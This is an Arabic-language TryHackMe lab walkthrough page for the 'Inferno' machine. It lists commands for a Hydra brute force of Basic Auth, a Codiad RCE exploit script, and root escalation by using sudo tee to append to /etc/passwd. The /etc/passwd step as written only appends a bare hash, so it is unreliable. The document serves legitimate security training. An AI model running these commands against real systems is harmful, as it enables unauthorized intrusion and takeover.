Lab: Inferno | STY IT Labs
STY IT Labs · TryHackMe · Medium

Lab: Inferno
Codiad RCE + sudo tee PrivEsc

لاب مبني على ثيمة الجحيم في الكوميديا الإلهية — Basic Auth ضعيف بيكشف لوحة Codiad (محرر كود ويب قديم ومش متابَع)، RCE فيها، وصلاحيات sudo على tee بتوصلك Root.

MediumCodiad Web IDEHTTP Basic Auth Bruteforcesudo tee PrivEsc
INF
Medium
2-3h
6 مهام
260 XP
TryHackMe
Linux

عن اللاب

Inferno بيبدأ بمسح بسيط يكشف SSH وApache بس. الـ Gobuster بيلاقي مسار /inferno محمي بـ HTTP Basic Auth — كلمة سر ضعيفة بتتكسر بـ Hydra مع ليستة يوزرات محدودة (admin, dante, root, inferno). جوه المسار لوحة Codiad (Web IDE قديم غير متابَع) — فيه ثغرة RCE عامة بتوصلك www-data. بعدها هتلاقي ملف مخفي في Downloads فيه Hex Dump لباسورد يوزر “dante”، وsudo -l بيكشف صلاحية NOPASSWD على tee تقدر تستغلها عشان تضيف يوزر UID 0 في /etc/passwd.

الـ Basic Auth هنا بيتكسر بقاموس يوزرات صغير جداً مبني على ثيمة اللاب نفسها — جرّب أسماء من القصة.

Inferno Badge

أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn

مسار الهجوم

1

Nmap — SSH + Apache

فحص أساسي يكشف 22/tcp (OpenSSH) و80/tcp (Apache) بس — الصفحة الرئيسية نص وصور.

2280
2

Gobuster — /inferno محمي

اكتشاف مسار /inferno بيرجع 401 Basic Auth، ومسار /server-status بيرجع 403.

Gobuster
3

Hydra — كسر الـ Basic Auth

قاموس يوزرات صغير (admin, root, dante, inferno) + rockyou.txt بيكسر باسورد admin.

Hydra
4

Codiad RCE → www-data

المسار المحمي بيفتح على Codiad (Web IDE قديم غير متابَع) فيه ثغرة RCE عامة بتديك شِل.

Codiad RCE
5

فك Hex Dump → كريدنشيلز dante

ملف .download.dat في Downloads فيه Hex Dump، فكه بيكشف باسورد يوزر dante — SSH يوصلك للـ user flag.

Hex Decode
6

sudo tee → Root 🏆

sudo -l بيكشف NOPASSWD على tee — تقدر تضيف سطر UID 0 جديد في /etc/passwd وتعمل su عليه.

GTFOBins tee

مراحل اللاب

Recon
Basic Auth Crack
Codiad RCE
www-data
Decode Hex
Root 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
gobuster dir -u http://<IP> -w common.txtاكتشاف /inferno المحميEnum
hydra -L users.txt -P rockyou.txt <IP> http-get /inferno/كسر الـ Basic AuthLogin
searchsploit codiadالبحث عن RCE عام لـ CodiadExploit
xxd -r Downloads/.download.datفك الـ Hex Dump لإيجاد باسورد danteDecode
sudo -lكشف NOPASSWD: /usr/bin/teePrivEsc
openssl passwd -1 -salt x hacker | sudo tee -a /etc/passwdإضافة يوزر UID 0 جديدRoot
su hackerتسجيل دخول باليوزر الجديد بصلاحيات RootRoot

المهام والأسئلة

Task 1 — Recon & Basic Auth

nmap · gobuster · hydra على /inferno

+50 XP

Task 2 — Codiad RCE

استغلال Codiad RCE · www-data shell

+80 XP

Task 3 — dante Pivot

فك Hex Dump · SSH كـ dante · user.txt

+60 XP
04

Task 4 — Root via tee 🏆

sudo -l · تعديل /etc/passwd · root.txt

+70 XP
▶ أدخل الـ Flag

Terminal — Inferno Full Attack

root@kali — Inferno
# Enumeration
gobuster dir -u http://10.10.X.X -w /usr/share/wordlists/dirb/common.txt
/inferno (Status: 401)

# Crack Basic Auth
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.X.X http-get /inferno/
[80][http-get] login: admin password: ******

# Codiad RCE
searchsploit codiad
python3 codiad_rce.py -u admin -p ‘******’ -t http://10.10.X.X/inferno
[+] www-data@inferno:/var/www/html/inferno$

# dante creds
xxd -r /home/dante/Downloads/.download.dat
dante:********
ssh dante@10.10.X.X

# sudo tee privesc
sudo -l
(root) NOPASSWD: /usr/bin/tee
openssl passwd -1 -salt x hacker | sudo tee -a /etc/passwd
su hacker
# id → uid=0(root)
└─#

المهارات المكتسبة

Directory Brute-Forcing
HTTP Basic Auth Bruteforce
Legacy CMS/IDE RCE
Hex Decoding
sudo Misconfiguration Abuse
/etc/passwd PrivEsc

الأدوات المستخدمة

gobusterاكتشاف المسارات المحمية
hydraكسر الـ HTTP Basic Auth
opensslبناء هاش باسورد لإضافته في /etc/passwd
أي صلاحية sudo على أداة بتقدر تكتب ملفات (زي tee) هي صلاحية كاملة فعلياً — دايماً شيك على GTFOBins قبل ما تفترض إن الأداة أمنة.